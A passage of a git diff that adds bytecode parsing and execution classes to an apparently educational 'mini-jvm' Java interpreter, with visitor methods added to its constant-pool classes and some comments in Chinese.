+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/CommandParser.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..0cf09d34fa
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,164 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		if((codes == null) || (codes.length() == 0) || (codes.length() % 2 )!=0 ) {
+			throw new RuntimeException("the original code is not correct.");
+		} //为什么必须是偶数呢？
+		
+		codes = codes.toUpperCase();
+		
+		CommandIterator iter = new CommandIterator(codes); //iter是codes的一个迭代器
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+		
+		while(iter.hasNext()){
+			String opCode = iter.next2CharAsString();
+			
+			if(opCode.equals(new_object)){
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (opCode.equals(invokespecial)){
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (opCode.equals(invokevirtual)){
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (opCode.equals(getfield)){
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (opCode.equals(getstatic)){
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (opCode.equals(putfield)){
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			}	else if (opCode.equals(ldc)){
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				
+				cmd.setOperand(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (opCode.equals(bipush)){
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				
+				cmd.setOperand(iter.next2CharAsInt());
+				
+				cmds.add(cmd);
+			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+				
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			} else {
+				throw new RuntimeException("sorry, the java instruction "+opCode+"has not been implemented.");
+			}
+		}
+		
+		calcuateOffset(cmds);
+		
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result); //list.toArray(array);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..317f44e5bb
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,35 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsField();
+	}
+
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String fieldName = fieldRef.getFieldName();
+		JavaObject jo = frame.getOprandStack().pop();
+		JavaObject fieldValue = jo.getFieldValue(fieldName);
+		
+		frame.getOprandStack().push(fieldValue);	
+	}
+	
+
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..8c6b929ea5
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsField();
+	}
+	
+	@Override	
+	public void execute(StackFrame frame,ExecutionResult result) {
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String className = info.getClassName();
+		String fieldName = info.getFieldName();
+		String fieldType = info.getFieldType();
+		
+		if("java/lang/System".equals(className) 
+				&& "out".equals(fieldName) 
+				&& "Ljava/io/PrintStream;".equals(fieldType)){
+			JavaObject jo = Heap.getInstance().newObject(className);
+			frame.getOprandStack().push(jo);
+		}
+		//TODO 处理非System.out的情况
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..bd2a47040f
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.MethodArea;
+import com.coderising.jvm.engine.StackFrame;
+import com.coderising.jvm.method.Method;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsMethod();
+	}
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {		
+		
+				
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		// 我们不用实现jang.lang.Object 的init方法
+		if(methodRefInfo.getClassName().equals("java/lang/Object") 
+				&& methodRefInfo.getMethodName().equals("<init>")){
+			return ;
+			
+		}
+		Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		result.setNextMethod(nextMethod);
+			
+	}
+	
+
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..d38cc283c8
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,86 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.MethodArea;
+import com.coderising.jvm.engine.StackFrame;
+import com.coderising.jvm.method.Method;
+
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsMethod();
+	}
+
+	private boolean isSystemOutPrintlnMethod(String className, String methodName){
+		return "java/io/PrintStream".equals(className) 
+				&& "println".equals(methodName);
+	}
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		//先得到对该方法的描述
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		String className = methodRefInfo.getClassName();
+		String methodName = methodRefInfo.getMethodName();
+		
+		// 我们没有实现System.out.println方法，  所以也不用建立新的栈帧， 直接调用Java的方法， 打印出来即可。 
+		if(isSystemOutPrintlnMethod(className,methodName)){
+			JavaObject jo = (JavaObject)frame.getOprandStack().pop();
+			String value = jo.toString();
+			System.err.println("-------------------"+value+"----------------");
+			
+			// 这里就是那个out对象， 因为是个假的，直接pop出来
+			frame.getOprandStack().pop();
+			
+			return;
+		}
+		
+		//注意：多态， 这才是真正的对象, 先从该对象的class 中去找对应的方法，找不到的话再去找父类的方法
+		JavaObject jo = frame.getOprandStack().peek();
+		
+		MethodArea ma = MethodArea.getInstance();
+		
+		Method m = null;
+		
+		String currentClassName = jo.getClassName();
+		
+		while(currentClassName != null){
+			
+			ClassFile currentClassFile = ma.findClassFile(currentClassName);
+			
+			m = currentClassFile.getMethod(methodRefInfo.getMethodName(), 
+					methodRefInfo.getParamAndReturnType());
+			if(m != null){
+				
+				break;
+				
+			} else{
+				//查找父类
+				currentClassName = currentClassFile.getSuperClassName();
+			}
+		}	
+		
+		if(m == null){
+			throw new RuntimeException("Can't find method for :" + methodRefInfo.toString());
+		}
+		
+		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		
+		result.setNextMethod(m);
+	}
+	
+
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..5c3978777d
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString() {
+		
+		ConstantInfo info = getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	public void  execute(StackFrame frame,ExecutionResult result){
+		
+		ConstantPool pool = this.getConstantPool();
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			String value = strInfo.toString();
+			JavaObject jo = Heap.getInstance().newString(value);
+			frame.getOprandStack().push(jo);
+		}
+		else{
+			//TBD 处理其他类型
+			throw new RuntimeException("Only support StringInfo constant");
+		}
+		
+		
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..5b4de098e0
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,38 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsClassInfo();
+	}
+	public void execute(StackFrame frame,ExecutionResult result){
+		
+		int index = this.getIndex();
+		
+		ClassInfo info = (ClassInfo) this.getConstantInfo(index);
+		
+		String clzName = info.getClassName();
+		
+		//在Java堆上创建一个实例
+		JavaObject jo = Heap.getInstance().newObject(clzName);
+		//压入操作数栈顶
+		frame.getOprandStack().push(jo);
+			
+	}
+	
+}
+
+
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..e2691a0276
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,146 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString() {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		String opCode = this.getOpCode();
+		
+		if(ByteCodeCommand.aload_0.equals(opCode)){
+		
+			JavaObject jo = frame.getLocalVariableValue(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if(ByteCodeCommand.iload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if (ByteCodeCommand.iload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}  else if (ByteCodeCommand.iload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if (ByteCodeCommand.fload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}
+		else if (ByteCodeCommand.voidreturn.equals(opCode)){
+			
+			result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+			
+		} else if(ByteCodeCommand.ireturn.equals(opCode)){
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.freturn.equals(opCode)){
+			
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+		}
+		
+		else if(ByteCodeCommand.astore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+		    frame.setLocalVariableValue(1, jo);
+		    
+		} else if(ByteCodeCommand.dup.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().peek();
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_0.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_1.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.istore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(1, jo);
+			
+		}  else if(ByteCodeCommand.istore_2.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(2, jo);
+			
+		} else if(ByteCodeCommand.iadd.equals(opCode)){
+			
+			JavaObject jo1 = frame.getOprandStack().pop();
+			JavaObject jo2 = frame.getOprandStack().pop();
+			
+			JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue()+jo2.getIntValue());
+			
+			frame.getOprandStack().push(sum);
+			
+		} else if (ByteCodeCommand.aconst_null.equals(opCode)){
+			
+			frame.getOprandStack().push(null);
+			
+		} 
+		else{
+			throw new RuntimeException("you must forget to implement the operation :" + opCode);
+		}
+		
+		
+	}
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..d7ae70e32f
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..43a628302b
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,44 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsField();
+	}
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {	
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		
+		ClassInfo clzInfo = (ClassInfo)this.getConstantInfo(fieldRef.getClassInfoIndex());
+		NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo)this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+		// for example : name
+		String fieldName = nameTypeInfo.getName();
+		// for example : Ljava/lang/String : 注意：我们不再检查类型
+		String fieldType = nameTypeInfo.getTypeInfo();
+		
+		JavaObject fieldValue = frame.getOprandStack().pop();
+		JavaObject objectRef = frame.getOprandStack().pop();
+		
+		objectRef.setFieldValue(fieldName, fieldValue);
+		
+	}
+
+
+
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..0f5329a77b
--- /dev/null
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,66 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ClassInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
index aea9048ea4..ff85582159 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ClassInfo.java
@@ -21,4 +21,8 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
-}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
index 466b072244..4066e59fc4 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantInfo.java
@@ -26,4 +26,15 @@ public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
 	
-}
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantPool.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
index 86c0445695..b9cc66616b 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/ConstantPool.java
@@ -23,7 +23,9 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {		
 		return this.constantInfos.size() -1;
 	}
-}
+	
+	
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
index 65475e194c..5765ee14aa 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/FieldRefInfo.java
@@ -51,4 +51,8 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
-}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
index 7f05870020..971f7a5e21 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/MethodRefInfo.java
@@ -1,5 +1,8 @@
 package com.coderising.jvm.constant;
 
+import java.util.ArrayList;
+import java.util.List;
+
 public class MethodRefInfo extends ConstantInfo {
 	
 	private int type = ConstantInfo.METHOD_INFO;
@@ -49,7 +52,12 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
 	
 	
 	
-}
+}
\ No newline at end of file
diff --git a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
index 402f9dec86..25dbc21e7c 100644
--- a/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group06/1378560653/mini-jvm/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -42,4 +42,10 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
-}
+
+	@Override
